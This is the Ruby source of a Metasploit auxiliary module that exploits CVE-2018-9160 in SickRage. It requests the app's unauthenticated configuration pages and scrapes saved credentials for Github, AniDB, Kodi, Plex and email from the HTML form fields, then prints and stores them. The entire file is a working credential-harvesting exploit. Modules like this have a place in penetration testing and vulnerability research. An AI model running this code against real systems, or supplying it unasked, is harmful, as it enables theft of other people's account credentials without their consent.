## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, 'Name' => 'HTTP SickRage Password Leak', 'Description' => %q{ SickRage < v2018-09-03 allows an attacker to view a user's saved Github credentials in HTTP responses unless the user has set login information for SickRage. By default, SickRage does not require login information for the installation. }, 'Author' => [ 'Sven Fassbender', # EDB POC 'Shelby Pace' # Metasploit Module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2018-9160'], ['EDB', '44545'] ], 'DisclosureDate' => '2018-03-08' )) register_options( [ OptString.new('TARGETURI', [true, 'Optional path that gets prepended to the default paths to be searched', '/']), Opt::RPORT(8081) ]) end def get_config(path) uri = normalize_uri(target_uri.path, path) res = send_request_cgi( 'method' => 'GET', 'uri' => uri ) # Improve this later: Add a loginscanner. if res && res.headers['Location'] =~ /^\/login\// raise RuntimeError, 'SickRage is protected with authentication' end unless res && res.code == 200 print_error("Unable to reach #{uri}") return end res.get_html_document end def is_valid?(user, pass) !(user.empty? || ['None', 'hidden_value'].include?(pass)) end def save_creds(app, user, pass) print_good("#{app} username: #{user}") print_good("#{app} password: #{pass}") store_valid_credential(user: user, private: pass) end def get_creds(path, config) return if config.at("input[@id=\"#{path}_username\"]").nil? username = config.at("input[@id=\"#{path}_username\"]").attribute('value').to_s password = config.at("input[@id=\"#{path}_password\"]").attribute('value').to_s if is_valid?(username, password) save_creds(path, username, password) end end def get_notification_creds(config) return if config.at('input[@id="email_host"]').nil? hostname = config.at('input[@id="email_host"]').attribute('value').to_s email_user = config.at('input[@id="email_user"]').attribute('value').to_s email_pass = config.at('input[@id="email_password"]').attribute('value').to_s if is_valid?(email_user, email_pass) save_creds("Email", "#{email_user}@#{hostname}", email_pass) end end def run begin paths = ['/config/general/', '/config/anime/', '/config/notifications/'] paths.each do |path| config = get_config(path) next if config.nil? if path.split('/').last.eql?('notifications') get_notification_creds(config) end ['git', 'anidb', 'kodi', 'plex_server', 'plex_client'].each do |path| get_creds(path, config) end end rescue RuntimeError => e print_error(e.message) end end end